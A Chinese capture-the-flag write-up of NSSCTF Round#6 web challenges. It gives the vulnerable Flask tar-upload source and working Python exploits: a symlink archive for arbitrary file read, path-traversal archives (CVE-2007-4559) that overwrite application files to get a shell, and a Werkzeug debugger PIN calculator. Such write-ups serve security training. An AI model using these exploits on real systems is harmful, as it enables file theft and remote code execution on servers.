首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >NSSCTF Round#6-web

NSSCTF Round#6-web

作者头像
pankas
发布2022-10-31 17:31:50
3600
发布2022-10-31 17:31:50
举报

check(v1)&check(v2)

给了源码,两道都可以直接软链接秒了

# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])

def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
    with open(__file__, 'r') as f:
        return f.read()

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return '?'
    file = request.files['file']
    if file.filename == '':
        return '?'
    print(file.filename)
    if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a tarfile'
    try:
        tar = tarfile.open(file_save_path, "r")
        tar.extractall(app.config['UPLOAD_FOLDER'])
    except Exception as e:
        return str(e)
    os.remove(file_save_path)
    return 'success'

@app.route('/download', methods=['POST'])
def download_file():
    filename = request.form.get('filename')
    if filename is None or filename == '':
        return '?'
    
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    
    if '..' in filename or '/' in filename:
        return '?'
    
    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return '?'
    
    with open(filepath, 'r') as f:
        return f.read()
    
@app.route('/clean', methods=['POST'])
def clean_file():
    os.system('su ctf -c /tmp/clean.sh')
    return 'success'

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)

上传软链接包造成任意文件读取,常规漏洞利用

exp:

import requests
import os

url = 'http://43.142.108.3:28499'

def upload(readFile):
    os.system("rm -f exp.tar && rm -f file")
    os.system(f"ln -s {readFile} file")
    os.system("tar -cvf exp.tar file")
    with open("exp.tar", "rb") as f:
        file = {"file": f}
        res = requests.post(url + "/upload", files=file)
    return res.text

def readFile(name):
    res = requests.post(url + "/download", data={"filename": name})
    return res.text

if __name__ == '__main__':
    res = upload("/flag")
    print(res)
    res = readFile("file")
    print(res)
image-20221017134300776
image-20221017134300776

check(Revenge)

这题思路差点非预期,但远程没打出来,想着利用 CVE-2007-4559 进行任意写文件覆盖 main.py 为软链接,但忘记这是开了 dubug 模式,可以直接写个 .py 的恶意文件覆盖从而 getShell

非预期解

注意开了 debug 模式,debug模式如果文件有修改会自动重载,可以直接覆盖main.py,这个文件名称 main.py 是猜测的(一般不是 app.py 就是 main.py 或是 application.py )。然后这个路径也可以试出来。

import requests
import tarfile

url = 'http://1.14.71.254:28874'

def changeName(tarinfo):
    tarinfo.name = "../main.py"
    return tarinfo

def generateTarfile():
    with tarfile.open("exp.tar", "w") as tar:
        tar.add("evil.py", filter=changeName)
        
def upload():
    res = requests.post(url + "/upload", files={"file": open("exp.tar", "rb")})
    return res.text

def execShell(cmd):
    res = requests.get(url + f"/shell?cmd={cmd}")
    return res.text

if __name__ == '__main__':
    generateTarfile()
    res = upload()
    print(res)
    res = execShell("cat /you_could_never_guess_the_flag_path")
    print(res)
image-20221017140952657
image-20221017140952657
预期解

利用CVE-2007-4559进行任意写文件,然后覆盖/tmp/clean.sh,然后访问clean路由触发反弹shell,当然也可以是其他命令,注意上传的 clean.sh 要加上 chmod +x clean ,要有可执行权限。

同时 py脚本这个执行命令是 ctf 用户,反弹 shell 没权限读flag,要计算 pin码

import requests
import tarfile

url = 'http://1.14.71.254:28689'

def changeName(tarinfo):
    tarinfo.name = "../../tmp/clean.sh"
    return tarinfo

def generateTarfile():
    with tarfile.open("exp.tar", "w") as tar:
        tar.add("clean.sh", filter=changeName)
        
def upload():
    res = requests.post(url + "/upload", files={"file": open("exp.tar", "rb")})
    return res.text

def execShell():
    res = requests.post(url + "/clean")
    return res.text

if __name__ == '__main__':
    generateTarfile()
    res = upload()
    print(res)
    res = execShell()
    print(res)

反弹 shell

flag有权限,这里开启了debug,直接常规解法算PIN码就行,而且这里已经RCE了,也不需要什么通过报错看路径了,这里给出算PIN脚本

算 pin 参考 https://pysnow.cn/archives/170/

import hashlib
from itertools import chain

probably_public_bits = [
    'root'  # /etc/passwd
    'flask.app',  # 默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.10/site-packages/flask/app.py'  # 报错得到
]

private_bits = [
    '2485376924231',  # /sys/class/net/eth0/address 十进制
    '96cec10d3d9307792745ec3b85c8962016b0227cc2e6f9c79d6ea0b153537f559f59ccc60f6275c95e42c74172f23003'
    # 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
image-20221017144855282
image-20221017144855282

参考链接

https://pysnow.cn/archives/510/

https://pysnow.cn/archives/170/

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-10-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • check(v1)&check(v2)
  • check(Revenge)
    • 非预期解
      • 预期解
      • 参考链接
      相关产品与服务
      容器服务
      腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档